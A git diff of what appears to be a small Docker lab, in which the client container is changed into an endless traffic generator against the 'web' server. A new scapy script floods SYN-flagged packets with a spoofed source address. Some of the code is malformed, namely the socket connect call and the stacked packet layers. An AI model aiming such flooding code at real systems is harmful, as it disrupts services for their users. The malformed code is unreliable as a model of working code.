diff --git a/client/Dockerfile b/client/Dockerfile index 76ce601..7571645 100644 --- a/client/Dockerfile +++ b/client/Dockerfile @@ -5,5 +5,5 @@ RUN apk add \ gcc \ libpcap-dev \ && pip install -r requirements.txt -CMD ["python3","app.py"] +CMD ["python", "-u", "main.py"] diff --git a/client/app.py b/client/app.py index a9c199b..7410200 100644 --- a/client/app.py +++ b/client/app.py @@ -9,9 +9,11 @@ L=[ adresse="localhost" port=80 -with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: - s.connect(adresse,port) - s.send(L[r.randint(0,2)].encode()) +def attaque(): + while True: + with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: + s.connect(adresse,port) + s.send(L[r.randint(0,2)].encode()) ''' diff --git a/client/main.py b/client/main.py new file mode 100644 index 0000000..572f06a --- /dev/null +++ b/client/main.py @@ -0,0 +1,8 @@ +from scapy.all import * + +while True: + for i in range(512,2048): + pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() + send(pkt, loop=1) + print("Sent packet") + diff --git a/docker-compose.yml b/docker-compose.yml index 94e559e..73d7806 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,8 +1,6 @@ services: web: - build: - context: server - dockerfile: Dockerfile + build: server container_name: web ports: - 80:80 @@ -10,9 +8,7 @@ services: - network client: - build: - context: client - dockerfile: Dockerfile + build: client container_name: client networks: - network